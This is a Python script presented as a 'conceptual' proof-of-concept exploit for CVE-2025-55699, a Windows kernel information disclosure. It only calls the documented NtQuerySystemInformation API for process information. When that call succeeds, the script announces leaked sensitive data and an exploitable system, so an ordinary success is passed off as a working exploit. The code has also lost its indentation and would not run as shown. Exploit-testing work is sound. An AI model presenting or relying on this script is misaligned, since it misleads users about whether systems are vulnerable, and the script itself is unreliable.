The following code is for security research and authorized testing only.
python
# CVE-2025-55699 Windows Kernel Information Disclosure PoC (Conceptual)
# This is a conceptual PoC demonstrating the exploitation approach for the vulnerability.
# The actual exploitation requires specific knowledge of the affected kernel API.
import ctypes
import ctypes.wintypes as wt
import struct
import sys
# Windows API constants
GENERIC_READ = 0x80000000
OPEN_EXISTING = 3
INVALID_HANDLE_VALUE = -1
def exploit_kernel_info_disclosure():
"""
Conceptual PoC for CVE-2025-55699
Exploits Windows Kernel information disclosure vulnerability
to read sensitive system information.
"""
print("[*] CVE-2025-55699 Windows Kernel Information Disclosure PoC")
print("[*] Attempting to trigger kernel info disclosure...\n")
# Step 1: Load necessary Windows DLLs
try:
kernel32 = ctypes.windll.kernel32
ntdll = ctypes.windll.ntdll
except Exception as e:
print(f"[-] Failed to load Windows DLLs: {e}")
return False
# Step 2: Trigger vulnerable kernel code path
# The vulnerability exists in how the kernel handles certain
# system calls that expose sensitive information to
# unauthorized actors with low privileges.
# Allocate buffer to receive leaked information
buffer_size = 4096
info_buffer = ctypes.create_string_buffer(buffer_size)
bytes_returned = wt.DWORD(0)
# Step 3: Call the vulnerable kernel interface
# Note: The actual API call depends on the specific vulnerable component
# This is a conceptual representation of the exploitation technique
print("[*] Querying vulnerable kernel interface...")
# Simulate the vulnerable operation
# In a real exploit, this would invoke the specific vulnerable
# NtQuerySystemInformation or similar kernel API that leaks data
try:
# Example: Query system information that may contain leaked data
# The actual vulnerable function would be identified through
# reverse engineering of the affected Windows component
status = ntdll.NtQuerySystemInformation(
0x05, # SystemProcessInformation class
info_buffer,
buffer_size,
ctypes.byref(bytes_returned)
)
if status == 0: # STATUS_SUCCESS
print(f"[+] Kernel information retrieved: {bytes_returned.value} bytes")
print("[+] Sensitive data may have been disclosed")
# Parse and display leaked information
leaked_data = info_buffer.raw[:bytes_returned.value]
print(f"[+] Leaked data preview (hex): {leaked_data[:64].hex()}")
return True
else:
print(f"[-] Query failed with status: 0x{status:08X}")
return False
except Exception as e:
print(f"[-] Exploitation failed: {e}")
return False
def main():
print("=" * 60)
print("CVE-2025-55699 - Windows Kernel Info Disclosure PoC")
print("CVSS 3.1: 5.5 (MEDIUM)")
print("Vector: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N")
print("=" * 60)
print()
# Check if running with sufficient privileges
import os
if os.name != 'nt':
print("[-] This PoC requires Windows OS")
sys.exit(1)
success = exploit_kernel_info_disclosure()
if success:
print("\n[!] Vulnerability appears to be exploitable")
print("[!] Recommend applying Microsoft security update immediately")
else:
print("\n[*] Could not confirm exploitability")
print("[*] System may already be patched")
if __name__ == "__main__":
main()